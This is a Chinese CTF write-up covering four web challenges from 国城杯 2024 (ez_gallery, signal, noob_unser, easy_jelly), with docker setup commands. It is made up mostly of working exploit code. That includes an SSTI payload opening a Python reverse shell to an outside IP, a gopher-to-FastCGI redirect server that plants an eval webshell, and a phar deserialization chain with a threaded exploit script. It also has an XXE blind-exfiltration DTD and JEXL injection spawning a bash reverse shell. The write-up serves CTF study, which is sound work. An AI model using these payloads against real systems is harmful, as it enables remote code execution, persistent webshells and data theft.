前言
国城杯的题不错的,复现了一下4个web,顺手做了docker方便师傅复现。
PS: 图片在Github图床,加载不出请更换网络。
ez_gallery
环境搭建
1
| docker run --name ez_gallery -d -p 8080:6543 sketchpl4ne/gcb2024:ez_gallery_img
|
解题思路1
思路:ssti request外带出网反弹shell
首先是任意文件读,读app.py
ssti绕waf实现rce,反弹shell:
1
| /shell?shellcmd={{config|attr(%22__class__%22)|attr(%27__init__%27)|attr(%27__globals__%27)|attr(%27__getitem__%27)(%27__builtins__%27)|attr(%27__getitem__%27)(%27eval%27)(request|attr(%27GET%27)|attr(%27get%27)(%27pzh%27))}}&pzh=__import__(%27os%27).system('python+-c+\'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("116.62.38.71",9999))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b\'')
|
解题思路2
思路:其实一开始看到pyramid,就猜到是换个框架写内存马,得看doc,先鸽XD
signal
环境搭建
1
| docker run --name signal -d -p 8082:80 sketchpl4ne/gcb2024:signal_img
|
解题思路1
思路:ssrf绕https限制,gopher打fastcgi
首先vim恢复文件得到guest用户:guest/MyF3iend
进去是个文件包含,guest.php
有waf,用二次url编码绕过读文件
找一找,可以读StoredAccounts.php
,拿到admin用户:admin/FetxRuFebAdm4nHace
admin.php
进去是ssrf,必须是https开头,这里用ngrok弄一个带https的域名,反代自己的vps,再用302跳转打本地的fastcgi。
去ngrok官网注册个好,设置好token,vps下面命令起服务
vps再起一个python服务用来302跳转
1 2 3 4 5 6 7 8 9 10 11 12 13
| from flask import Flask, redirect app = Flask(__name__) @app.route('/') def indexRedirect(): redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH111%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00o%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20%40eval%28%5C%24_POST%5B1%5D%29%3B%20%3F%3E%22%20%3E/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00' return redirect(redirectUrl)
@app.route('/test') def test(): return "jasper"
if __name__ == '__main__': app.run('0.0.0.0', port=8080, debug=True)
|
payload用gopherus生成, 注意指定文件名要存在,fastcgi的事儿,写webshell如下:
然后设置好服务,打一发payload
接着蚁剑上线,只有假flag,suid提权发现有sudo,sudo -l
看到cat的可读路径使用了通配符,通过目录穿越读flag
解题思路2
用filterchain,非预期,可以看晨曦师傅的wp。
noob_unser
环境搭建
1
| docker run --name noob_unser -d -p 8083:80 sketchpl4ne/gcb2024:noob_unser_img
|
解题思路
思路:upload_process上传临时文件+过滤器清洗数据+phar反序列化
问了道格的师傅,这题是Orange师傅的两道题结合起来了,非常巧妙。
cookie显然可以反序列化,然后有两个功能:
- user用户可以复制文件(filename有waf)
- admin用户可以rce
php upload process可以在/tmp下生成部分内容可控的sess_<sessionid>
文件
然后copy是可以使用伪协议的,使用伪协议+copy将内容复制到/tmp/tmp.tmp
中,同时把不可控的部分消除掉,这里用到php exit死亡绕过的知识点。
可控内容之前的upload_process_
字段,添加aaaaaa
后,三次base64即可置空
可控内容之后,用string.strip_tags
过滤器可以全部清除掉,只需在可控部分之后加个<
即可
payload构造: aaaaaa
+base64_encode(base64_encode(base64_encode(payload))) + <
payload触发:
至此实现了/tmp/tmp.tmp任意写, 于是构造exp.phar
文件,里面包含Admin类的序列化字符串,再使用phar伪协议触发反序列化,实现代码执行。
构造phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class Admin{ public $code; function __construct($code) { $this->code = $code; } function __destruct() { echo "Admin can play everything!"; eval($this->code); } } @unlink("exp.phar"); $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');"); $phar->setMetadata($o); $phar->addFromString("jasper", "123"); $phar->stopBuffering();
$pharContent = file_get_contents('exp.phar'); $b64 = base64_encode(base64_encode(base64_encode($pharContent))); print("bbbbbb".$b64.htmlspecialchars('<')); ?>
|
python脚本一键利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| import io import requests import threading import time
sessid = 'jasper1'
url = "http://125.70.243.22:31293/index.php"
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
stop_event = threading.Event()
def write_session_file(session): while not stop_event.is_set(): f = io.BytesIO(b'a' * 1024 * 50) session.post( url, data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload}, files={"file": ('q.txt', f)}, cookies={'PHPSESSID': sessid} )
def copy_to_tmp(session): payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessid while not stop_event.is_set(): res = requests.get(url + payload, cookies=session.cookies) if "Well done!" in res.text: print("[+] 恶意phar已copy到/tmp/tmp.tmp ...") else: print("[-] 拷贝失败!") if "flag" in res.text or "D0g3xGC" in res.text: stop_event.set() break
def unser_phar(session): payload = "?filename=phar:///tmp/tmp.tmp/jasper" while not stop_event.is_set(): res = requests.get(url + payload, cookies=session.cookies) if "flag" in res.text or "D0g3xGC" in res.text: print(res.text) print("[+] 利用成功!") stop_event.set() break
session = requests.Session()
write_thread = threading.Thread(target=write_session_file, args=(session,)) write_thread.daemon = True write_thread.start()
copy_thread = threading.Thread(target=copy_to_tmp, args=(session,)) copy_thread.daemon = True copy_thread.start()
unser_thread = threading.Thread(target=unser_phar, args=(session,)) unser_thread.daemon = True unser_thread.start()
while not stop_event.is_set(): time.sleep(1)
|
easy_jelly
环境搭建
1
| docker run --name easy_jelly -d -p 8081:80 sketchpl4ne/gcb2024:easy_jelly_img
|
PS:物理机起环境的时候注意下,lib要删除servlet-api-2.3.jar
,依赖有冲突。
解题思路1
思路:非预期,xxe 盲打,有老六
exp1.xml
1 2 3 4 5
| <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % dtd SYSTEM "http://116.62.38.71:7777/evil.dtd"> %dtd; ]>
|
evil.dtd
1 2 3
| <!ENTITY % all "<!ENTITY % send SYSTEM 'http://116.62.38.71:7777/%file;'> "> %all; %send;
|
解题思路2
思路:jexl表达式注入
exp2.xml
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <j:jelly xmlns:j="jelly:core"> <j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/> <j:break test="${str .class .forName('javax.script.ScriptEngineManager').newInstance() .getEngineByName('js') .eval('java.lang.Runtime.getRuntime().exec(" bash -c `{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMzguNzEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}` ")')}"></j:break> </j:jelly>
|
另一个payload:
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <j:jelly xmlns:j="jelly:core"> <j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/> <j:whitespace>${str .class .forName('javax.script.ScriptEngineManager').newInstance() .getEngineByName('js') .eval('java.lang.Runtime.getRuntime().exec(" bash -c `{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMzguNzEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}` ")')}</j:whitespace> </j:jelly>
|
参考链接
- 官方wp:道格安全公众号
- 悠悠神的wp
- p2zhh爷的wp